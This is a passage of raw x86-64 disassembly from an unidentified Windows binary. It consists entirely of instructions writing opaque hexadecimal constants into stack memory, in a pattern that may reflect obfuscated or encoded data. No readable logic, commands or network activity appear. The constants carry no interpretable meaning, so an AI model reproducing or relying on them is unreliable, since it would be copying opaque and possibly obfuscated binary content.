movabs rax, 0x592dc9e790b39380
mov qword [rsp + 0x96a0], rax
mov eax, 0x43f0
mov word [rsp + 0x1444], ax
mov byte [rsp + 0x165], 0x61
movabs rax, 0xf843ebe73d1e173
mov qword [rsp + 0x96a8], rax
mov byte [rsp + 0x166], 0xcc
mov byte [rsp + 0x167], 0xd9
mov dword [rsp + 0x5198], 0xfb26d168
mov byte [rsp + 0x168], 0xbe
movabs rax, 0x6668eeb64131a41d
mov qword [rsp + 0x96b0], rax
movabs rax, 0x8f5c3dc04cd16a53
mov qword [rsp + 0x96b8], rax
mov eax, 0x2f46
mov word [rsp + 0x1448], ax
movabs rax, 0xd1ec438c1c3948be
mov qword [rsp + 0x96c0], rax
mov byte [rsp + 0x169], 0x4f
movabs rax, 0xc7546005dc21a5a2
mov qword [rsp + 0x96c8], rax
mov eax, 0x284
mov word [rsp + 0x144c], ax
mov byte [rsp + 0x16a], 0x4d
mov dword [rsp + 0x519c], 0x64a3f39f
mov eax, 0x487
mov word [rsp + 0x1450], ax
mov eax, 0xbd9
mov word [rsp + 0x1454], ax
mov eax, 0x2d59
mov word [rsp + 0x1458], ax
mov eax, 0x1a4
mov word [rsp + 0x145c], ax
movabs rax, 0x27f4cd89a01e4391
mov qword [rsp + 0x96d0], rax
mov byte [rsp + 0x16b], 0x36
mov byte [rsp + 0x16c], 0x2a
movabs rax, 0xd06ac032f05bd7cf
mov qword [rsp + 0x96d8], rax
mov byte [rsp + 0x16d], 0xfd
mov eax, 0x42f3
mov word [rsp + 0x1460], ax
mov eax, 0x563
mov word [rsp + 0x1464], ax
movabs rax, 0x67c152dac20bc1f0
mov qword [rsp + 0x96e0], rax
movabs rax, 0xbc64c44c60b92b2
mov qword [rsp + 0x96e8], rax
movabs rax, 0x27a7187fb0aa1f27
mov qword [rsp + 0x96f0], rax
mov byte [rsp + 0x16e], 0xb9
mov eax, 0xd6e
mov word [rsp + 0x1468], ax
mov byte [rsp + 0x16f], 0x34
mov eax, 0x396
mov word [rsp + 0x146c], ax
mov dword [rsp + 0x51a0], 0x60203202
movabs rax, 0x4e250fa5f60b0ade
mov qword [rsp + 0x96f8], rax
mov dword [rsp + 0x51a4], 0x10bba9f1
mov dword [rsp + 0x51a8], 0x14084d34
mov eax, 0x736
mov word [rsp + 0x1470], ax
mov byte [rsp + 0x170], 0xe6
mov dword [rsp + 0x51ac], 0x19a8a0bf
mov byte [rsp + 0x171], 0x14
mov eax, 0x73f
mov word [rsp + 0x1474], ax
movabs rax, 0x55ea510d31f7da08
mov qword [rsp + 0x9700], rax
mov dword [rsp + 0x51b0], 0xe190d101
mov byte [rsp + 0x172], 0x70
movabs rax, 0x880181072d554351
mov qword [rsp + 0x9708], rax
mov byte [rsp + 0x173], 2
movabs rax, 0x776153e45d57545a
mov qword [rsp + 0x9710], rax
mov byte [rsp + 0x174], 0x4b
mov eax, 0x7dc2
mov word [rsp + 0x1478], ax
mov dword [rsp + 0x51b4], 0x43a2f7ff
movabs rax, 0x4d55912fb6e8d305
mov qword [rsp + 0x9718], rax
mov byte [rsp + 0x175], 0x28
mov eax, 0x2dc
mov word [rsp + 0x147c], ax
mov dword [rsp + 0x51b8], 0x96cd49c4
mov eax, 0x1465
mov word [rsp + 0x1480], ax
mov byte [rsp + 0x176], 0x66
mov dword [rsp + 0x51bc], 0x242156d4
mov eax, 0x728e
mov word [rsp + 0x1484], ax
mov byte [rsp + 0x177], 0x3c
movabs rax, 0x99632541b08f5501
mov qword [rsp + 0x9720], rax
mov dword [rsp + 0x51c0], 0xec3d2b19
movabs rax, 0xcf58e8ca4883465c
mov qword [rsp + 0x9728], rax
mov eax, 0x3070
mov word [rsp + 0x1488], ax
mov dword [rsp + 0x51c4], 0x1f7378b
mov eax, 0x63ab
mov word [rsp + 0x148c], ax
mov byte [rsp + 0x178], 0xef
mov eax, 0xb77
mov word [rsp + 0x1490], ax
mov dword [rsp + 0x51c8], 0x6d6ec2ff
mov byte [rsp + 0x179], 0xee
mov dword [rsp + 0x51cc], 0xc80f2d5
mov byte [rsp + 0x17a], 0x4d
movabs rax, 0x17b236a306fd0ca0
mov qword [rsp + 0x9730], rax
movabs rax, 0x61cd9daa8cb2f450
mov qword [rsp + 0x9738], rax
mov byte [rsp + 0x17b], 0x66
mov byte [rsp + 0x17c], 0x61
mov eax, 0x5f22
mov word [rsp + 0x1494], ax
mov dword [rsp + 0x51d0], 0x186018ad
mov byte [rsp + 0x17d], 0x3f
mov eax, 0xf3d
mov word [rsp + 0x1498], ax
movabs rax, 0x561f56cbbaddc2d6
mov qword [rsp + 0x9740], rax
mov dword [rsp + 0x51d4], 0x797228f3
movabs rax, 0xa061eb51116d04d6
mov qword [rsp + 0x9748], rax
mov byte [rsp + 0x17e], 0x69
mov byte [rsp + 0x17f], 0x70
mov byte [rsp + 0x180], 0x92
mov byte [rsp + 0x181], 0x4a
mov byte [rsp + 0x182], 0x60
mov dword [rsp + 0x51d8], 0x336dea81
mov dword [rsp + 0x51dc], 0x5adfb762
mov dword [rsp + 0x51e0], 0x3e1209ef
movabs rax, 0xdf27f3612ded24a5
mov qword [rsp + 0x9750], rax
movabs rax, 0x2eb6ea1922c75a18
mov qword [rsp + 0x9758], rax
movabs rax, 0x49d91eca7c64b9ae
mov qword [rsp + 0x9760], rax
mov dword [rsp + 0x51e4], 0x264ad3c8
mov byte [rsp + 0x183], 0x13
mov byte [rsp + 0x184], 6
mov byte [rsp + 0x185], 0x30
mov eax, 0xf85
mov word [rsp + 0x149c], ax
movabs rax, 0x963d4653715a4ab1
mov qword [rsp + 0x9768], rax
movabs rax, 0x5b69d6f13b5d9b8c
mov qword [rsp + 0x9770], rax
mov eax, 0xad0
mov word [rsp + 0x14a0], ax
movabs rax, 0x8a27651366b6eb13
mov qword [rsp + 0x9778], rax
mov eax, 0x335
mov word [rsp + 0x14a4], ax
mov byte [rsp + 0x186], 0x60
mov dword [rsp + 0x51e8], 0x2e974a20
mov dword [rsp + 0x51ec], 0x8f565fe5
mov dword [rsp + 0x51f0], 0xf9c867a
mov dword [rsp + 0x51f4], 0x6a615042
mov eax, 0x5c1
mov word [rsp + 0x14a8], ax
mov byte [rsp + 0x187], 0x5c
mov byte [rsp + 0x188], 0x40
mov dword [rsp + 0x51f8], 0x1967bb1a
mov eax, 0x383f
mov word [rsp + 0x14ac], ax
mov byte [rsp + 0x189], 0xd9
mov dword [rsp + 0x51fc], 0x20e54f4c
mov byte [rsp + 0x18a], 0x55
mov byte [rsp + 0x18b], 0x52
movabs rax, 0xc4a2f9a3cf1222c6
mov qword [rsp + 0x9780], rax
mov eax, 0x8e9
mov word [rsp + 0x14b0], ax
movabs rax, 0x63fa04aa7a021ce6
mov qword [rsp + 0x9788], rax
mov dword [rsp + 0x5200], 0x544c9930
mov byte [rsp + 0x18c], 0x28
mov byte [rsp + 0x18d], 0x6d
mov eax, 0x254d
mov word [rsp + 0x14b4], ax
movabs rax, 0xb39926ea7ea3657
mov qword [rsp + 0x9790], rax
mov dword [rsp + 0x5204], 0xc1e6b0a8
mov eax, 0x5c5f
mov word [rsp + 0x14b8], ax
mov dword [rsp + 0x5208], 0x4a4fdda0
mov byte [rsp + 0x18e], 0x74
mov byte [rsp + 0x18f], 2
movabs rax, 0xad4903f35efd8e5c
mov qword [rsp + 0x9798], rax
mov eax, 0x7f
mov word [rsp + 0x14bc], ax
mov eax, 0xacb
mov word [rsp + 0x14c0], ax
mov eax, 0x6b35
mov word [rsp + 0x14c4], ax
mov dword [rsp + 0x520c], 0x95c158aa
mov byte [rsp + 0x190], 0x26
movabs rax, 0x866ffa58e55dc201
mov qword [rsp + 0x97a0], rax
mov eax, 0x3cf6
mov word [rsp + 0x14c8], ax
movabs rax, 0x6c3732ed12d5227f
mov qword [rsp + 0x97a8], rax
movabs rax, 0xcf4b6f46bd7eae6e
mov qword [rsp + 0x97b0], rax
mov eax, 0x6b0d
mov word [rsp + 0x14cc], ax
mov byte [rsp + 0x191], 0x6b
mov dword [rsp + 0x5210], 0x56454cae
mov eax, 0xbe1
mov word [rsp + 0x14d0], ax
mov dword [rsp + 0x5214], 0xbe0effc1
mov byte [rsp + 0x192], 0x5c
mov eax, 0x805
mov word [rsp + 0x14d4], ax
mov dword [rsp + 0x5218], 0x751a768b
mov byte [rsp + 0x193], 0x63
mov byte [rsp + 0x194], 0x1a
mov dword [rsp + 0x521c], 0x353dacb7
mov dword [rsp + 0x5220], 0x62f72bbd
mov byte [rsp + 0x195], 0xe1
mov byte [rsp + 0x196], 0x24
mov byte [rsp + 0x197], 0x62
mov eax, 0xc27
mov word [rsp + 0x14d8], ax
mov byte [rsp + 0x198], 0x5f
mov dword [rsp + 0x5224], 0x73e12020
mov eax, 0x5f9
mov word [rsp + 0x14dc], ax
mov dword [rsp + 0x5228], 0x301d23da
mov eax, 0x99e
mov word [rsp + 0x14e0], ax
mov byte [rsp + 0x199], 0x61
movabs rax, 0x32361c77df7fd3c
mov qword [rsp + 0x97b8], rax
mov byte [rsp + 0x19a], 0x47
movabs rax, 0xf078ff18e032c1d
mov qword [rsp + 0x97c0], rax
mov byte [rsp + 0x19b], 0x6d
movabs rax, 0xd222abe5ef2ccaa
mov qword [rsp + 0x97c8], rax
mov dword [rsp + 0x522c], 0xd4ca54d5
mov dword [rsp + 0x5230], 0x2d4f79b1
mov eax, 0xbbd
mov word [rsp + 0x14e4], ax
mov dword [rsp + 0x5234], 0x940537be
mov byte [rsp + 0x19c], 0x63
mov byte [rsp + reloc.COMCTL32.dll_DefSubclassProc], 0x3f
mov byte [rsp + 0x19e], 0xa7
movabs rax, 0x61a050c1c0f16b37
mov qword [rsp + 0x97d0], rax
mov eax, 0x7201
mov word [rsp + 0x14e8], ax
movabs rax, 0x599990178a3b0d8
mov qword [rsp + 0x97d8], rax
mov dword [rsp + 0x5238], 0x6b8cc62
movabs rax, 0x63528ba53f022ce4
mov qword [rsp + 0x97e0], rax
mov eax, 0x6e2f
mov word [rsp + 0x14ec], ax
mov dword [rsp + 0x523c], 0x3a8fcb
mov eax, 0xe74
mov word [rsp + 0x14f0], ax
mov eax, 0x250
mov word [rsp + 0x14f4], ax
mov byte [rsp + 0x19f], 0xd7
mov dword [rsp + 0x5240], 0x31d6f2b1
movabs rax, 0x4861781cb7867f6b
mov qword [rsp + 0x97e8], rax
mov eax, 0xd52
mov word [rsp + 0x14f8], ax
mov byte [rsp + 0x1a0], 0x9d
mov eax, 0xc6a
mov word [rsp + 0x14fc], ax
mov eax, 0x879
mov word [rsp + 0x1500], ax
mov dword [rsp + 0x5244], 0x5c46071e
mov dword [rsp + 0x5248], 0x5538a38c
mov eax, 0x348
mov word [rsp + 0x1504], ax
mov byte [rsp + 0x1a1], 0x26
mov eax, 0xedd
mov word [rsp + 0x1508], ax
mov eax, 0x761
mov word [rsp + 0x150c], ax
movabs rax, 0x1a46449b5420b650
mov qword [rsp + 0x97f0], rax
mov byte [rsp + 0x1a2], 0x8f
mov eax, 0xdd1
mov word [rsp + 0x1510], ax
movabs rax, 0x3cefe89268e8f3a5
mov qword [rsp + 0x97f8], rax
mov byte [rsp + 0x1a3], 0xfd
movabs rax, 0x61615040e286ed07
mov qword [rsp + 0x9800], rax
movabs rax, 0xb41f39ff89d510cb
mov qword [rsp + 0x9808], rax
movabs rax, 0x7d776e2170d58520
mov qword [rsp + 0x9810], rax
mov byte [rsp + 0x1a4], 3
mov dword [rsp + 0x524c], 0x5b9ddd4f
movabs rax, 0x3bb8c5c4784b9816
mov qword [rsp + 0x9818], rax
mov byte [rsp + 0x1a5], 0x91
mov dword [rsp + 0x5250], 0x2c46d0f9
mov dword [rsp + 0x5254], 0x42c97a4b
mov byte [rsp + 0x1a6], 0xb
movabs rax, 0xd9d925059bf82e45
mov qword [rsp + 0x9820], rax
movabs rax, 0xd54bcdca2cb2024c
mov qword [rsp + 0x9828], rax
mov dword [rsp + 0x5258], 0x722974b2
mov byte [rsp + 0x1a7], 0x66
movabs rax, 0x3acecd8a548576cd
mov qword [rsp + 0x9830], rax
mov byte [rsp + 0x1a8], 0x3b
mov byte [rsp + 0x1a9], 0x4a
movabs rax, 0x63f79726e68ee5d6
mov qword [rsp + 0x9838], rax
movabs rax, 0x814a2e1d022ce828
mov qword [rsp + 0x9840], rax
mov eax, 0x1c40
mov word [rsp + 0x1514], ax
mov byte [rsp + 0x1aa], 0x29
mov dword [rsp + 0x525c], 0x1ff67c5d
mov dword [rsp + 0x5260], 0x1eaf5e74
mov eax, 0x328
mov word [rsp + 0x1518], ax
movabs rax, 0x3c118f5df6a24ab3
mov qword [rsp + 0x9848], rax
mov dword [rsp + 0x5264], 0x7eb70eb6
mov byte [rsp + 0x1ab], 0xe
mov eax, 0xa68
mov word [rsp + 0x151c], ax
mov byte [rsp + 0x1ac], 0x35
mov eax, 0x33cd
mov word [rsp + 0x1520], ax
mov dword [rsp + 0x5268], 0x1f726efc
mov byte [rsp + 0x1ad], 0x4c
mov eax, 0x1d56
mov word [rsp + 0x1524], ax
movabs rax, 0x9a9b61e749850072
mov qword [rsp + 0x9850], rax
mov eax, 0x9e8
mov word [rsp + 0x1528], ax
movabs rax, 0x527fa6d583aba4fc
mov qword [rsp + 0x9858], rax
mov byte [rsp + 0x1ae], 0x6e
mov byte [rsp + 0x1af], 0xa5
mov byte [rsp + 0x1b0], 0x63
mov eax, 0xa1f
mov word [rsp + 0x152c], ax
mov dword [rsp + 0x526c], 0xecfb265e
mov eax, 0x150c
mov word [rsp + 0x1530], ax
mov dword [rsp + 0x5270], 0x612f884c
mov byte [rsp + 0x1b1], 0x7d
mov dword [rsp + 0x5274], 0x3de88267
mov eax, 0x1c9b
mov word [rsp + 0x1534], ax
mov byte [rsp + 0x1b2], 0xa8
mov dword [rsp + 0x5278], 0x7102db10
movabs rax, 0xc84284316e3fc23f
mov qword [rsp + 0x9860], rax
movabs rax, 0x82540d0a0c2ed2fd
mov qword [rsp + 0x9868], rax
mov byte [rsp + 0x1b3], 0x6a
mov byte [rsp + 0x1b4], 0x4d
mov byte [rsp + 0x1b5], 0xd4
mov byte [rsp + 0x1b6], 0x1b
mov dword [rsp + 0x527c], 0x732ce3cd
movabs rax, 0x744dad005aef3792
mov qword [rsp + 0x9870], rax
mov eax, 0x7a32
mov word [rsp + 0x1538], ax
movabs rax, 0x15ee6d727d015e0d
mov qword [rsp + 0x9878], rax
mov dword [rsp + 0x5280], 0x788996a3
movabs rax, 0x2626fc22cf115867
mov qword [rsp + 0x9880], rax
mov byte [rsp + 0x1b7], 0x1c
movabs rax, 0x523f7df2eb329735
mov qword [rsp + 0x9888], rax
movabs rax, 0x394c10eaef155ab4
mov qword [rsp + 0x9890], rax
mov byte [rsp + 0x1b8], 0x99
mov byte [rsp + 0x1b9], 0x35
movabs rax, 0x1c600ed2caf31e3d
mov qword [rsp + 0x9898], rax
mov dword [rsp + 0x5284], 0x4b674275
movabs rax, 0x5f25c629813ddbdf
mov qword [rsp + 0x98a0], rax
mov dword [rsp + 0x5288], 0x6dabda5d
mov eax, 0x290
mov word [rsp + 0x153c], ax
mov eax, 0x3e95
mov word [rsp + 0x1540], ax
movabs rax, 0x76679b68bbb68575
mov qword [rsp + 0x98a8], rax
mov byte [rsp + 0x1ba], 0x11
mov dword [rsp + 0x528c], 0x6727b091
mov eax, 0x3235
mov word [rsp + 0x1544], ax
movabs rax, 0x14a2dbb239e80aa3
mov qword [rsp + 0x98b0], rax
mov dword [rsp + 0x5290], 0x3049353e
mov byte [rsp + 0x1bb], 0x64
movabs rax, 0x6730b489964f12d0
mov qword [rsp + 0x98b8], rax
mov eax, 0x38e7
mov word [rsp + 0x1548], ax
mov eax, 0x4ca
mov word [rsp + 0x154c], ax
mov byte [rsp + 0x1bc], 0x46
mov dword [rsp + 0x5294], 0xfacf8577
mov eax, 0x193
mov word [rsp + 0x1550], ax
movabs rax, 0x73b623497f6baf60
mov qword [rsp + 0x98c0], rax
movabs rax, 0x9c79f38feb8cf888
mov qword [rsp + 0x98c8], rax
movabs rax, 0x6e446e4f574e0dc4
mov qword [rsp + 0x98d0], rax
mov eax, 0x79a
mov word [rsp + 0x1554], ax
mov eax, 0x7e2e
mov word [rsp + 0x1558], ax
mov eax, 0xe73
mov word [rsp + 0x155c], ax
mov byte [rsp + 0x1bd], 0xb0
mov dword [rsp + 0x5298], 0xc42cc7e6
mov byte [rsp + 0x1be], 0x63
mov byte [rsp + 0x1bf], 0x5e
mov dword [rsp + 0x529c], 0x22258d2
movabs rax, 0x7600f6ed3b76e71a
mov qword [rsp + 0x98d8], rax
mov dword [rsp + 0x52a0], 0x4905b22
mov eax, 0x149
mov word [rsp + 0x1560], ax
mov byte [rsp + 0x1c0], 0xc8
mov byte [rsp + 0x1c1], 0x7a
movabs rax, 0x15be0eb325ba094
mov qword [rsp + 0x98e0], rax
movabs rax, 0x7e194e4d2fe8efd6
mov qword [rsp + 0x98e8], rax
movabs rax, 0x638ba240bed30a57
mov qword [rsp + 0x98f0], rax
mov dword [rsp + 0x52a4], 0x1ca418f
movabs rax, 0x6796b1c3e05977aa
mov qword [rsp + 0x98f8], rax
movabs rax, 0x1373949159bd3d4e
mov qword [rsp + 0x9900], rax
mov eax, 0x6121
mov word [rsp + 0x1564], ax
mov dword [rsp + 0x52a8], 0xe64ef59e
movabs rax, 0x3232c16832859962
mov qword [rsp + 0x9908], rax
mov byte [rsp + 0x1c2], 0x51
mov byte [rsp + 0x1c3], 0x3e
mov eax, 0xf39
mov word [rsp + 0x1568], ax
mov dword [rsp + 0x52ac], 0x7e0a45a5
movabs rax, 0x4a1a055be31a0907
mov qword [rsp + 0x9910], rax
movabs rax, 0xad93e93382eeab19
mov qword [rsp + 0x9918], rax
mov dword [rsp + 0x52b0], 0x6e491a1a
mov byte [rsp + 0x1c4], 0x69
mov byte [rsp + 0x1c5], 0xef
mov dword [rsp + 0x52b4], 0x60199bec
mov dword [rsp + 0x52b8], 0xbdb902fa
mov eax, 0x6a66
mov word [rsp + 0x156c], ax
mov byte [rsp + 0x1c6], 0x3a
mov byte [rsp + 0x1c7], 0x49
mov eax, 0x543
mov word [rsp + 0x1570], ax
mov byte [rsp + 0x1c8], 0xa8
mov dword [rsp + 0x52bc], 0x4b4c4f10
mov eax, 0x667
mov word [rsp + 0x1574], ax
mov byte [rsp + 0x1c9], 0x64
movabs rax, 0x48eaa43b29fb7eac
mov qword [rsp + 0x9920], rax
movabs rax, 0x796e4d93585cd360
mov qword [rsp + 0x9928], rax
movabs rax, 0xba969155a6b432d1
mov qword [rsp + 0x9930], rax
movabs rax, 0x6d9c5f763060091
mov qword [rsp + 0x9938], rax
movabs rax, 0xf9aa03b0fbdc1cd9
mov qword [rsp + 0x9940], rax
mov dword [rsp + 0x52c0], 0xdf87e9d1
movabs rax, 0xe02ca58668600ecf
mov qword [rsp + 0x9948], rax
movabs rax, 0xc0e476f4f859a3f6
mov qword [rsp + 0x9950], rax
mov byte [rsp + 0x1ca], 0xb9
mov eax, 0x2e55
mov word [rsp + 0x1578], ax
mov byte [rsp + 0x1cb], 0x3f
movabs rax, 0x6edae6488c45d9cd
mov qword [rsp + 0x9958], rax
mov dword [rsp + 0x52c4], 0x98ced18f
mov eax, 0x389d
mov word [rsp + 0x157c], ax
movabs rax, 0x6f73039fefc546fa
mov qword [rsp + 0x9960], rax
mov byte [rsp + 0x1cc], 0x79
mov byte [rsp + 0x1cd], 0xf1
mov byte [rsp + 0x1ce], 0xa8
movabs rax, 0x3b3db0861455f7fe
mov qword [rsp + 0x9968], rax
movabs rax, 0x1efa28ec1939bc25
mov qword [rsp + 0x9970], rax
movabs rax, 0x4c5a21974f075c82
mov qword [rsp + 0x9978], rax
mov byte [rsp + 0x1cf], 0x73
mov dword [rsp + 0x52c8], 0xb8c78864
mov byte [rsp + 0x1d0], 0xa7
movabs rax, 0x4919d2a96b854634
mov qword [rsp + 0x9980], rax
mov dword [rsp + 0x52cc], 0x2a51ef15
mov dword [rsp + 0x52d0], 0x405b8f87
mov byte [rsp + 0x1d1], 0x4c
movabs rax, 0xdd98eba4a02b0718
mov qword [rsp + 0x9988], rax
movabs rax, 0xf5161ad31fddd1dc
mov qword [rsp + 0x9990], rax
movabs rax, 0x6b08f550466d035
mov qword [rsp + 0x9998], rax
mov byte [rsp + 0x1d2], 0xe2
mov dword [rsp + 0x52d4], 0x3aad0115
movabs rax, 0x923d3c4b6769bae9
mov qword [rsp + 0x99a0], rax
mov eax, 0x671
mov word [rsp + 0x1580], ax
mov byte [rsp + 0x1d3], 0xa5
movabs rax, 0x2330b0b12797b0b9
mov qword [rsp + 0x99a8], rax
mov eax, 0x3bc0
mov word [rsp + 0x1584], ax
mov byte [rsp + 0x1d4], 0x86
mov byte [rsp + 0x1d5], 0x58
mov eax, 0x2a8
mov word [rsp + 0x1588], ax
movabs rax, 0x4803a5460cab171e
mov qword [rsp + 0x99b0], rax
mov dword [rsp + 0x52d8], 0x79b0be1b
mov byte [rsp + 0x1d6], 8
movabs rax, 0xa6baf8fbd6b5a81
mov qword [rsp + 0x99b8], rax
movabs rax, 0xb16da298ad264f72
mov qword [rsp + 0x99c0], rax
mov eax, 0x5b
mov word [rsp + 0x158c], ax
mov dword [rsp + 0x52dc], 0x6b13c1b5
movabs rax, 0x6deb07bd4207cac9
mov qword [rsp + 0x99c8], rax
movabs rax, 0x3588897393b13973
mov qword [rsp + 0x99d0], rax
mov byte [rsp + 0x1d7], 0x57
mov dword [rsp + 0x52e0], 0xf86ee6d7
mov byte [rsp + 0x1d8], 0x64
mov eax, 0x1372
mov word [rsp + 0x1590], ax
mov byte [rsp + 0x1d9], 0x29
mov eax, 0x3b6
mov word [rsp + 0x1594], ax
movabs rax, 0x80bc53dbd41488f7
mov qword [rsp + 0x99d8], rax
mov dword [rsp + 0x52e4], 0x4216b95e
movabs rax, 0xdef932fed61deeb0
mov qword [rsp + 0x99e0], rax
movabs rax, 0x74d93d384d1c6b4e
mov qword [rsp + 0x99e8], rax
movabs rax, 0xbc2a055d1c2d1755
mov qword [rsp + 0x99f0], rax
movabs rax, 0x2ed99bfad6924252
mov qword [rsp + 0x99f8], rax
mov byte [rsp + 0x1da], 0x10
mov dword [rsp + 0x52e8], 0x9c6ad416
mov byte [rsp + 0x1db], 0x41
mov dword [rsp + 0x52ec], 0xb1dd6816
movabs rax, 0x7ab58546c9b411ca
mov qword [rsp + 0x9a00], rax
mov eax, 0x49af
mov word [rsp + 0x1598], ax
mov byte [rsp + 0x1dc], 0x2f
mov dword [rsp + 0x52f0], 0x110aeab8
mov eax, 0x6cb
mov word [rsp + 0x159c], ax
mov byte [rsp + 0x1dd], 0x35
mov eax, 0x2132
mov word [rsp + 0x15a0], ax
movabs rax, 0xcd4e89829a89699e
mov qword [rsp + 0x9a08], rax
movabs rax, 0x69b814b5f016853e
mov qword [rsp + 0x9a10], rax
mov dword [rsp + 0x52f4], 0x1b17ba34
mov eax, 0x7a53
mov word [rsp + 0x15a4], ax
mov eax, 0xc6f
mov word [rsp + 0x15a8], ax
mov eax, 0x1270
mov word [rsp + 0x15ac], ax
mov eax, 0x2d13
mov word [rsp + 0x15b0], ax
movabs rax, 0x3b77bfd44a0d2629
mov qword [rsp + 0x9a18], rax
movabs rax, 0x473f9dda0512f890
mov qword [rsp + 0x9a20], rax
mov eax, 0x14bc
mov word [rsp + 0x15b4], ax
mov eax, 0x6455
mov word [rsp + 0x15b8], ax
mov dword [rsp + 0x52f8], 0x669ff085
mov dword [rsp + 0x52fc], 0x285d22f4
movabs rax, 0x4de1e7f7fdff44b0
mov qword [rsp + 0x9a28], rax
mov eax, 0x7c4c
mov word [rsp + 0x15bc], ax
mov byte [rsp + 0x1de], 0x17
mov eax, 0x23a
mov word [rsp + 0x15c0], ax
movabs rax, 0x51cd99a1866f9224
mov qword [rsp + 0x9a30], rax
mov byte [rsp + 0x1df], 0x71
mov eax, 0x12b5
mov word [rsp + 0x15c4], ax
movabs rax, 0x437f82268e14db76
mov qword [rsp + 0x9a38], rax
mov byte [rsp + 0x1e0], 0x1f
mov dword [rsp + 0x5300], 0x99eeeece
movabs rax, 0x4878ac56660441c7
mov qword [rsp + 0x9a40], rax
mov eax, 0x9cd
mov word [rsp + 0x15c8], ax
mov byte [rsp + 0x1e1], 0x79
mov dword [rsp + 0x5304], 0x450771f4
movabs rax, 0x4691f2c6f7f0de0b
mov qword [rsp + 0x9a48], rax
mov byte [rsp + 0x1e2], 0x2d
movabs rax, 0x2fe2159726ddcf23
mov qword [rsp + 0x9a50], rax
mov dword [rsp + 0x5308], 0x2c684015
mov dword [rsp + 0x530c], 0x18730abd
mov byte [rsp + 0x1e3], 0x27
mov byte [rsp + 0x1e4], 0x9e
mov eax, 0x302
mov word [rsp + 0x15cc], ax
mov dword [rsp + 0x5310], 0x5b73366
mov byte [rsp + 0x1e5], 0x1c
movabs rax, 0xe4819536ad7db0a2
mov qword [rsp + 0x9a58], rax
mov eax, 0x3e75
mov word [rsp + 0x15d0], ax
movabs rax, 0x782349e99a3f2ab9
mov qword [rsp + 0x9a60], rax
mov byte [rsp + 0x1e6], 0xf6
mov dword [rsp + 0x5314], 0xdd94c401
movabs rax, 0x6104b8ab9428077a
mov qword [rsp + 0x9a68], rax
mov byte [rsp + 0x1e7], 0xb9
movabs rax, 0xee415e53c032ef37
mov qword [rsp + 0x9a70], rax
movabs rax, 0x117c83cca3fc9fc8
mov qword [rsp + 0x9a78], rax
movabs rax, 0xe2fe631da697fcb5
mov qword [rsp + 0x9a80], rax
mov byte [rsp + 0x1e8], 0x29
movabs rax, 0x96550c40f208267f
mov qword [rsp + 0x9a88], rax
mov byte [rsp + 0x1e9], 0x25
mov dword [rsp + 0x5318], 0x3fd41f92
movabs rax, 0x33cfb9f3b2b676a4
mov qword [rsp + 0x9a90], rax
mov eax, 0xed9
mov word [rsp + 0x15d4], ax
mov eax, 0x59d8
mov word [rsp + 0x15d8], ax
mov dword [rsp + 0x531c], 0xbfd9feb1
mov byte [rsp + 0x1ea], 0x20
mov byte [rsp + 0x1eb], 0x77
mov byte [rsp + 0x1ec], 0x72
movabs rax, 0x4b34323ac8d38f39
mov qword [rsp + 0x9a98], rax
movabs rax, 0xd7ce88b1f67285e
mov qword [rsp + 0x9aa0], rax
mov byte [rsp + 0x1ed], 0x69
movabs rax, 0xec93d0cf7af3f23c
mov qword [rsp + 0x9aa8], rax
mov dword [rsp + 0x5320], 0x1cb3e3a6
mov byte [rsp + 0x1ee], 0xbd
movabs rax, 0x16cab493caf78ce5
mov qword [rsp + 0x9ab0], rax
mov eax, 0x6cb
mov word [rsp + 0x15dc], ax
mov dword [rsp + 0x5324], 0x26dfc89f
mov dword [rsp + 0x5328], 0x2b08056
mov byte [rsp + 0x1ef], 0x62
mov dword [rsp + 0x532c], 0x461929bb
movabs rax, 0x559210267cc3d364
mov qword [rsp + 0x9ab8], rax
mov byte [rsp + 0x1f0], 0x1e
mov byte [rsp + 0x1f1], 0x2e
mov eax, 0x53b
mov word [rsp + 0x15e0], ax
mov eax, 0x2f34
mov word [rsp + 0x15e4], ax
mov eax, 0xefb
mov word [rsp + 0x15e8], ax
mov byte [rsp + 0x1f2], 0x94
mov dword [rsp + 0x5330], 0xa4aa226a
movabs rax, 0x4ea3df05afd2c969
mov qword [rsp + 0x9ac0], rax
mov dword [rsp + 0x5334], 0x326216ae
movabs rax, 0x797972ec4b5df2da
mov qword [rsp + 0x9ac8], rax
mov byte [rsp + 0x1f3], 0x9c
mov byte [rsp + 0x1f4], 0x10
mov eax, 0x6db
mov word [rsp + 0x15ec], ax
mov eax, 0xaf4
mov word [rsp + 0x15f0], ax
movabs rax, 0x12055e7d945f4963
mov qword [rsp + 0x9ad0], rax
mov byte [rsp + 0x1f5], 0xf
mov eax, 0x446e
mov word [rsp + 0x15f4], ax
mov byte [rsp + 0x1f6], 0x1c
movabs rax, 0x51b451ff1dee6722
mov qword [rsp + 0x9ad8], rax
mov eax, 0x40a1
mov word [rsp + 0x15f8], ax
mov eax, 0x57e0
mov word [rsp + 0x15fc], ax
mov eax, 0xdf8
mov word [rsp + 0x1600], ax
mov byte [rsp + 0x1f7], 0x2a
mov byte [rsp + 0x1f8], 0x25
mov eax, 0x342
mov word [rsp + 0x1604], ax
mov eax, 0xdac
mov word [rsp + 0x1608], ax
movabs rax, 0xa8dc1e1365267963
mov qword [rsp + 0x9ae0], rax
mov byte [rsp + 0x1f9], 0xf1
movabs rax, 0x390e45692a3b0741
mov qword [rsp + 0x9ae8], rax
mov eax, 0x4a3e
mov word [rsp + 0x160c], ax
movabs rax, 0x3c261040d6fb4395
mov qword [rsp + 0x9af0], rax
mov byte [rsp + 0x1fa], 0x3b
movabs rax, 0x576aeb4c504b868c
mov qword [rsp + 0x9af8], rax
mov dword [rsp + 0x5338], 0xf58f11d
mov dword [rsp + 0x533c], 0xec28c0c8
mov byte [rsp + 0x1fb], 0x56
mov dword [rsp + 0x5340], 0x1938babe
mov eax, 0x10df
mov word [rsp + 0x1610], ax
mov dword [rsp + 0x5344], 0x5a5bee8e
mov eax, 0x35d
mov word [rsp + 0x1614], ax
movabs rax, 0xe249668dc254d8f5
mov qword [rsp + 0x9b00], rax
mov byte [rsp + 0x1fc], 0xd9
mov eax, 0x7791
mov word [rsp + 0x1618], ax
movabs rax, 0x71bfec212a0ef96a
mov qword [rsp + 0x9b08], rax
movabs rax, 0x388712b0f11e08ca
mov qword [rsp + 0x9b10], rax
mov dword [rsp + 0x5348], 0x99620f0f
mov eax, 0xbe1
mov word [rsp + 0x161c], ax
mov dword [rsp + 0x534c], 0xccdbaa4f
mov byte [rsp + 0x1fd], 0x71
mov eax, 0x4801
mov word [rsp + 0x1620], ax
mov byte [rsp + 0x1fe], 0xd
